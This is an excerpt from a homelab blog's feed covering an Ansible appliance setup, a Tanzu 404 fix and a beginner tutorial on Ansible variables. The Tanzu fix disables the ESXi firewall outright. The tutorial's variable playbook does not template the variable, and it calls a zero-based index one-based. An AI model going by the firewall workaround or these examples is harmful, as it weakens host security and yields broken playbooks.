&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@client.ssh.guru.lab &lt;span style=&#34;color:#75715e&#34;&gt;# git clone https://gitlab.com/sshguru/aio-appliance.git&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;6&#34;&gt;
&lt;li&gt;Edit the following files and configure the variables, such as IPs, networks etc., to your needs:- aio-appliance.yml- inventory- ansible.cfg- all DNS zone files in: aio-appliance/roles/aio-dns/templates7) Finally, run the main playbook:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@client.ssh.guru.lab &lt;span style=&#34;color:#75715e&#34;&gt;# ansible-playbook aio-appliance.yml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content>
    </item>
    
    <item>
      <title>Fixing 404 error in a nested Tanzu lab</title>
      <link>/posts/220801-tanzu-404-bug/</link>
      <pubDate>Mon, 01 Aug 2022 00:00:00 +0000</pubDate>
      
      <guid>/posts/220801-tanzu-404-bug/</guid>
      <description>UPDATE - Turns out my discovery was only a tip of the iceberg&amp;hellip; William Lam followed up on my post with an article on his blog, where he actually finds out the root cause of this behavior. Very interesting read, make sure to take a look!
I was playing around with nested VMware Tanzu deployments when an error hit me at the very last stage of the deployment:
HTTP communication could not be completed with status 404</description>
      <content>&lt;p&gt;&lt;em&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; - Turns out my discovery was only a tip of the iceberg&amp;hellip; &lt;a href=&#34;https://twitter.com/lamw&#34;&gt;William Lam&lt;/a&gt; followed up on my post with an article on &lt;a href=&#34;https://www.virtuallyghetto.com/2020/11/why-am-i-seeing-http-communication-status-404-error-when-configuring-vsphere-with-tanzu-how-to-fix.html&#34;&gt;his blog&lt;/a&gt;, where he actually finds out the root cause of this behavior. Very interesting read, make sure to take a look!&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;I was playing around with nested VMware Tanzu deployments when an error hit me at the very last stage of the deployment:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;HTTP communication could not be completed with status 404&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip;which was quite annoying as it caused my newly setup Tanzu cluster to crash and burn.&lt;/p&gt;
&lt;p&gt;I was picking my hair about this for some time and was looking through all different Tanzu articles on the web looking for an answer. All I knew was that the error was related to the Content Library URL: &lt;a href=&#34;https://wp-content.vmware.com/v2/latest/lib.json&#34;&gt;https://wp-content.vmware.com/v2/latest/lib.json&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Determined to find an answer, I started my troubleshooting on the ESXi hosts in the cluster I planned to deploy Workload Management in:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root@esxi011:~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; wget https://wp-content.vmware.com/v2/latest/lib.json
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Connecting to wp-content.vmware.com &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;23.212.228.56:443&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget: error getting response: Cannot assign requested address
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root@esxi011:~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; ping wp-content.vmware.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PING wp-content.vmware.com &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;23.212.228.56&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;56&lt;/span&gt; data bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt; bytes from 23.212.228.56: icmp_seq&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; ttl&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;57&lt;/span&gt; time&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;14.547 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt; bytes from 23.212.228.56: icmp_seq&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; ttl&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;57&lt;/span&gt; time&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;14.368 ms
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--- wp-content.vmware.com ping statistics ---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; packets transmitted, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; packets received, 0% packet loss
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;round-trip min/avg/max &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; 14.368/14.457/14.547 ms
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hmmm&amp;hellip; interesting. So I can ping, but I can&amp;rsquo;t wget. Let&amp;rsquo;s try putting a test file on my server and publish it via HTTP:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root@esxi011:~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; wget ssh.guru/pub/test
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Connecting to ssh.guru &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;54.37.17.173:80&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Connecting to ssh.guru &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;54.37.17.173:443&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wget: error getting response: Cannot assign requested address
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Still nothing! Now I knew there must be something wrong with the host itself as I could download the file just fine on any other system:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;~ ❯ wget ssh.guru/pub/test                                                                              46m 18s
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;URL transformed to HTTPS due to an HSTS policy
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--2020-11-06 00:45:29--  https://ssh.guru/pub/test
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolving ssh.guru &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;... 54.37.17.173
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Connecting to ssh.guru &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;ssh.guru&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;|54.37.17.173|:443... connected.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP request sent, awaiting response... &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Length: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;application/octet-stream&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Saving to: ‘test.1’
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;test.1         &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&amp;gt;              &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;        &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;  --.-KB/s    in 0s      
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2020-11-06 00:45:29 &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;0.00 B/s&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; - ‘test.1’ saved &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;0/0&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I started googling around and, by pure luck, I stumbled across this: &lt;a href=&#34;https://communities.vmware.com/thread/563764&#34;&gt;https://communities.vmware.com/thread/563764&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip;which gave me an idea: how about I disable ESXi firewall? It&amp;rsquo;s my homelab. What&amp;rsquo;s the worst that could happen, eh?&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root@esxi011:~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; esxcli network firewall set --enabled false
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aaaaaaand then:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;root@esxi011:~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; wget https://wp-content.vmware.com/v2/latest/lib.json
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Connecting to wp-content.vmware.com &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;23.212.228.56:443&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lib.json             100% |****************************************************************|   &lt;span style=&#34;color:#ae81ff&#34;&gt;332&lt;/span&gt;  0:00:00 ETA
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;WOOP WOOP! :D&lt;/p&gt;
&lt;p&gt;This turned out to be enough to get the 404 error out of the way.&lt;/p&gt;

  &lt;figure class=&#34;left&#34; &gt;
    &lt;img src=&#34;/posts/220801-tanzu-404-bug/Screenshot-from-2020-11-06-01-33-04.png&#34;   /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;&#39;Download remote files&#39; tasks processing fine - no more 404s!&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;I am aware this solution is not ideal and only suitable for a homelab, but I&amp;rsquo;m pretty sure the problem lies somewhere in my setup (nested) and, to be totally honest, I can&amp;rsquo;t be arsed to troubleshoot it. It&amp;rsquo;s not like I&amp;rsquo;ll be ever deploying Tanzu to nested ESXi in production&amp;hellip; at least I hope not.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Ansible for Dummies - Part 3</title>
      <link>/posts/220601-ansible-part-3/</link>
      <pubDate>Wed, 01 Jun 2022 00:00:00 +0000</pubDate>
      
      <guid>/posts/220601-ansible-part-3/</guid>
      <description>If I were to pick the next most important feature of Ansible after playbooks, I think I&amp;rsquo;d say it&amp;rsquo;s the variables (both custom and built-in, known as Ansible Facts). Variables are very important as they can speed up your playbooks writing process and allow your plays to be far more advanced.
Intro to variables But what are variables you ask? Well, variables should be well known to anyone who ever had to script or code.</description>
      <content>&lt;p&gt;If I were to pick the next most important feature of Ansible after playbooks, I think I&amp;rsquo;d say it&amp;rsquo;s the variables (both custom and built-in, known as Ansible Facts). Variables are very important as they can speed up your playbooks writing process and allow your plays to be far more advanced.&lt;/p&gt;
&lt;h2 id=&#34;intro-to-variables&#34;&gt;Intro to variables&lt;/h2&gt;
&lt;p&gt;But what are variables you ask? Well, variables should be well known to anyone who ever had to script or code. In general terms, variables are used to store data in &amp;ldquo;containers&amp;rdquo; (not the docker/k8s kind); you can imagine variables are &amp;ldquo;labels&amp;rdquo; you assign to your data.&lt;/p&gt;
&lt;p&gt;Variables are so important, we actually used one of them in the previous episodes of this series:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Simple Playbook - Play 1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;hosts&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;become&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;tasks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;set hostname on all 5 test servers&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;hostname&lt;/span&gt;: 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test{{ play_hosts.index(inventory_hostname) }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Can you spot a variable in there? Of course, it&amp;rsquo;s:&lt;code&gt;{{ play_hosts.index(inventory_hostname) }}&lt;/code&gt;  This particular variable is an Ansible Fact, a pre-built variable that Ansible &amp;ldquo;learns&amp;rdquo; from your hosts at run time. In this case, it is a Fact which returns an inventory index of the host being processed (a number representing a position of the host in the inventory; first host would return 1, second would return 2, and so on).&lt;/p&gt;
&lt;p&gt;To be perfectly honest, the Fact above is a pretty complicated one and I wouldn&amp;rsquo;t expect you to use it in your first few playbooks. A much better example of a simple variable would be something like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;vars&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;packages&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#ae81ff&#34;&gt;httpd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#ae81ff&#34;&gt;httpd-tools&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;packages&lt;/code&gt; variable defined above contains two text strings: &lt;code&gt;httpd&lt;/code&gt; and &lt;code&gt;httpd-tools&lt;/code&gt;. Such a variable could be, for example, used to install multiple packages in a single play using &lt;code&gt;yum&lt;/code&gt; module. Without using variables, to install both &lt;code&gt;httpd&lt;/code&gt; and &lt;code&gt;httpd-tools&lt;/code&gt;, you&amp;rsquo;d have to write two plays like so:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Install two pkgs without vars&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;hosts&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;become&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;tasks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Install httpd&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;yum&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;httpd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;state&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;present&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Install httpd-tools&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;yum&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;httpd-tools&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;state&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;present&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Doesn&amp;rsquo;t look too bad, does it? Perhaps&amp;hellip; but, imagine writing a playbook in this style which would be responsible for installing 100s of individual packages - seems tedious, seems boring&amp;hellip; that&amp;rsquo;s not what Ansible is about! Let&amp;rsquo;s try that again - this time with variables:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Install two pkgs with vars&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;hosts&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;become&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;tasks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Install all pkgs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;yum&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;packages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;state&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;present&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;vars&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;packages&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - &lt;span style=&#34;color:#ae81ff&#34;&gt;httpd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - &lt;span style=&#34;color:#ae81ff&#34;&gt;httpd-tools&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ah, now that&amp;rsquo;s better.&lt;/p&gt;
&lt;p&gt;Similarly, we can use variables for other types of data to avoid writing the same stuff over and over again. You could have a &lt;code&gt;DNSServers&lt;/code&gt; variable containing IP addresses of all DNS servers you wish to configure on your hosts, or a simple &lt;code&gt;DelFiles&lt;/code&gt; variable with the paths to all files you wish to get rid of - possibilities are endless.&lt;/p&gt;
&lt;p&gt;While the most common use of a variable is to store multiple string, integers etc. under one &amp;ldquo;label&amp;rdquo;, you could also use them to avoid writing a single data object in multiple places. Let&amp;rsquo;s say you want to write a playbook that would often refer to a file on your server stored in: &lt;code&gt;/home/ansible/data/bin/prod/test/script/monday/tldr&lt;/code&gt;. Writing this path once could end up in a typo or two - imagine including it in a playbook 20 times. Bugs, bugs everywhere I tell ye.&lt;/p&gt;
&lt;p&gt;Instead, you could just use a variable and write that monster of a path just once and refer to it as &lt;code&gt;monsterPath&lt;/code&gt; from that point on:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;vars&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;monsterPath&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/home/ansible/data/bin/prod/test/script/monday/tldr&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ansible-facts&#34;&gt;Ansible Facts&lt;/h2&gt;
